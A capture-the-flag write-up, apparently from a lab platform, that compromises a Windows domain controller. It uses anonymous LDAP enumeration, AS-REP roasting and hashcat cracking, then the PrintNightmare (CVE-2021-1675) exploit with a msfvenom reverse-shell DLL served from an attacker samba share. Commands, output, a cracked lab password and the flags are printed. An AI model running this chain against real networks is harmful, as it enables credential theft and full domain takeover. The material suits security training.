Enumeration

As always we start with a port scan:

┌─[s1gh@fsociety]─[~/BBQ]
└──╼ $ nmap -sC -sV -oA nmap/standard-tcp -vvv 10.129.1.5 -Pn

PORT     STATE SERVICE       REASON  VERSION
53/tcp   open  domain        syn-ack Simple DNS Plus 
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2021-07-26 22:00:10Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped    syn-ack
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped    syn-ack
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Based on the output from nmap we can safely assume we're dealing with a domain controller.

I first decided to see if we could connect to the SMB share without credentials:

┌─[s1gh@fsociety]─[~/BBQ]
└──╼ $ smbclient -L 10.129.1.5
Enter WORKGROUP\s1gh's password: 
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available

Even though we managed to connect, we can't list any shares. So for now, this is a no-go.

Trying the same thing with LDAP to see if we can connect without credentials:

┌─[✗]─[s1gh@fsociety]─[~/BBQ]
└──╼ $ldapsearch -x -h 10.129.1.5 -D '' -w '' -b "DC=megacorp,DC=local"                                   
# extended LDIF
#
# LDAPv3
# base <DC=megacorp,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# MEGACORP.LOCAL
dn: DC=MEGACORP,DC=LOCAL
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=MEGACORP,DC=LOCAL
[...]

We successfully connect to LDAP and can dump data. I now decided to dump every username by just grepping for sAMAccountName and writing them to a domain_users.txt file.

┌─[s1gh@fsociety]─[~/BBQ]
└──╼ $ ldapsearch -x -h 10.129.1.5 -D '' -w '' -b "DC=megacorp,DC=local" | grep sAMAccountName | awk {'print $2'} > domain_users.txt

Initial Foothold

At this point I had a list of usernames, but no passwords. So I decided to see if any of the users in this domain was AS-REP roastable.

┌─[s1gh@fsociety]─[~/BBQ]
└──╼ $ impacket-GetNPUsers megacorp.local/ -no-pass -usersfile domain_users.txt -dc-ip 10.129.1.5
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation                          
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[...]
[-] User WLee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User KJenkins doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$vparsons@MEGACORP.LOCAL:78bc41053c371ac8fc087ed700d975c4$be1fe6ebbc763cca9661950100fbcd070e5b3fb5a8fd910648adaefe1f1f39778fca0191617d663c2e8126ad7a6ed6606c48b269ef4550576daefea0525633c449b8f26e1816afd3504325cd0d39b96ae255774f781efc1e900bafb2c995595c60c17b2f4b22c7ec5c30dcf2dd6a6bbef9d2a71fa399c65e691b508657ddd1404d5c756b612b99426b4fe6dcb7bbc6694e5b5f5fa3a843a05490513c49403464075ee8586da371645965e90824643c5c9e92e69c7b2c5cd2762f06a6f89ceaa79771f0c6811d62721bab8fad736f66a8215962a64f7a1ae01e421780082dbe56c61253911d1e60ba11f434078f35b85d

One user is roastable: vparsons.

We now simply take this hash over to hashcat and try to crack it using the rockyou.txt wordlist.

PS C:\Users\s1gh\Documents\hashcat-6.2.0> ./hashcat.exe -m 18200 .\hashes.txt .\rockyou.txt
hashcat (v6.2.0) starting...

Dictionary cache hit:
* Filename..: .\rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

$krb5asrep$23$vparsons@MEGACORP.LOCAL:78bc41053c371ac8fc087ed700d975c4$be1fe6ebbc763cca9661950100fbcd070e5b3fb5a8fd910648adaefe1f1f39778fca0191617d663c2e8126ad7a6ed6606c48b269ef4550576daefea0525633c449b8f26e1816afd3504325cd0d39b96ae255774f781efc1e900bafb2c995595c60c17b2f4b22c7ec5c30dcf2dd6a6bbef9d2a71fa399c65e691b508657ddd1404d5c756b612b99426b4fe6dcb7bbc6694e5b5f5fa3a843a05490513c49403464075ee8586da371645965e90824643c5c9e92e69c7b2c5cd2762f06a6f89ceaa79771f0c6811d62721bab8fad736f66a8215962a64f7a1ae01e421780082dbe56c61253911d1e60ba11f434078f35b85d:serverstatus03

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$vparsons@MEGACORP.LOCAL:78bc41053c371...35b85d
Time.Started.....: Mon Jul 26 20:15:33 2021 (0 secs)
Time.Estimated...: Mon Jul 26 20:15:33 2021 (0 secs)
Guess.Base.......: File (.\rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  7565.3 kH/s (6.80ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 4128768/14344384 (28.78%)
Rejected.........: 0/4128768 (0.00%)
Restore.Point....: 3670016/14344384 (25.59%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: sn7792118 -> ruddrooney
Hardware.Mon.#1..: Temp: 65c Fan: 32% Util: 18% Core:1480MHz Mem:5508MHz Bus:8

The password cracked and we finally have a valid set of credentials! (vparsons:serverstatus03)

We can also verify that the credentials are valid by using CrackMapExec:

┌─[s1gh@fsociety]─[~/BBQ]
└──╼ $ cme smb 10.129.1.5 -u vparsons -p serverstatus03
SMB         10.129.1.5      445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:False)
SMB         10.129.1.5      445    DC01             [+] MEGACORP.LOCAL\vparsons:serverstatus03

User and Root

Lately it seems like a new Windows vulnerability has been popping up like every week - what is even happening?
I decided to check if the domain controller is vulnerable to PrintNightmare.

┌─[✗]─[s1gh@fsociety]─[~/BBQ]
└──╼ $ rpcdump.py 10.129.1.5 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol

Generate the DLL

I didn't do anything fancy for the DLL creation part. I just used msfvenom.

┌─[s1gh@fsociety]─[~/BBQ]
└──╼ $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=443 -f dll -o gimmeshell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
Saved as: gimmeshell.dll

Hosting the DLL

The easiest way is to use smbd. I tried using impacket-smbserver but I never managed to get it working.

I used this implementation of the exploit: https://github.com/cube0x0/CVE-2021-1675

Easiest way to host payloads is to use samba and modify /etc/samba/smb.conf to allow anonymous access

[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

Getting SYSTEM

We setup a listener and trigger the exploit.

┌─[✗]─[s1gh@fsociety]─[~/BBQ/CVE-2021-1675]
└──╼ $ python3 CVE-2021-1675.py vparsons:serverstatus03@10.129.1.5 '\\10.10.14.9\smb\gimmeshell.dll'
[*] Connecting to ncacn_np:10.129.1.5[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_2097e02ea77b432e\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\10.10.14.9\smb\gimmeshell.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...

On on our listener:

┌─[✗]─[s1gh@fsociety]─[~/BBQ]
└──╼ $ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.1.5] 55919
Microsoft Windows [Version 10.0.17763.2028]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

We can now get both flags!

Based on the name of the user flag, I guess the intended way was to use DPAPI to get new credentials and get the flag that way?

User flag: HTB{dp@pi_r0ast1ng}
Root flag: HTB{pls_turn_0ff_th3_pr1nt3r}